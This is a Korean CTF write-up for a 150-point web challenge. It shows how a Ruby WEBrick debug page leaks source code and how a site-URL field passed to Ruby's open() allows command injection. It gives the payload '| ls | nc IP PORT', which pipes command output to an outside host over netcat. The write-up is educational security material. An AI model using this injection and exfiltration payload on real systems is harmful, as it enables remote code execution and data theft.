Old Goverment Site(Web) / 150 pt

이 문제의 사이트를 들어가면 다음과 같은 홈페이지를 볼 수 있다. 

위 페이지의 모든 링크는 /page?id=\<NUMBER> 형식으로 접근 되는데 표면상으로 접근 가능한 페이지는 총 다섯개(2, 5, 23, 33, 36)이다. 하지만 이를 Brute-forcing 혹은 오류를 발생 시켜 18번 페이지로의 접근이 가능하다. 오류를 발생한 방법은 id인자를 Array로 넘겨주어서 발생시키며 해당 사이트는 Ruby - Webrick으로 구동중이여서 debug페이지를 보여주게 된다. debug페이지를 보면 id.to_i를 이용하여 각 id값의 페이지로 분기하는 것을 볼 수 있으며 이에 표면상에서 접근하는 페이지가 아닌 18번 페이지를 발견 할 수 있다.

또한 app.rb에서는 POST로 접근하였을 때를 위한 소스코드를 볼 수 있다. 이를 위와 같은 방법을 이용하여 오류를 발생한다면 지금 보는 소스코드 보다 아래쪽으로 더 많은 소스코드를 볼 수 있을 것이다.

오류를 발생하면 추가적으로 siteValidation함수를 볼 수 있고 이 함수는 사이트의 주소를 받아 접근해보는 함수라는 것을 알 수 있다.

18번 페이지는 위 사진이며 site주소와 description을 받는다. description은 중요하지 않고 site주소에 http://~serverip~/check.this를 입력하여 실제로 접근하는지에 확인했다.

그 후 서버의 access.log를 보면 기록이 실제 존재하는 것을 볼 수 있다.

188.246.233.28 - - [26/Mar/2018:10:32:42 +0900] "GET /check.this HTTP/1.1" 404 449 "-" "Ruby"

앞선 siteValidation함수가 18번 페이지에 사용된다는 것을 알 수 있고 이를 공격 벡터로 생각했고 다음과 같은 검색을 했다.

ruby open vuln

구글 상단 첫글에 Ruby on Rails Cheatsheet - OWASP라는 글이 있으며 이 글을 읽어보면 다음과 같은 방법으로 RCE가 가능하다고 한다.

open("| os command here")

따라서 값을 받아오기 위해 다음과 같이 공격하였다.

| ls | nc IP PORT

위와 같은 값을 site부분에 넣게 되면 RCE가 되면서 nc를 통하여 값을 보내주게 된다.

최 상단 루트 디렉토리에 플래그가 있고 이를 cat을 통하여 읽어오면 된다.

'CTF Write-up > 2018' 카테고리의 다른 글

Codegate 2018 Final / Random Picross  (0) 2018.04.07
Codegate 2018 Final / Flower Dance  (0) 2018.04.07
Codegate 2018 qual / Miro  (0) 2018.03.01
Codegate 2018 qual / Impel_Down  (0) 2018.03.01
Codegate 2018 qual / Useless  (0) 2018.03.01

+ Recent posts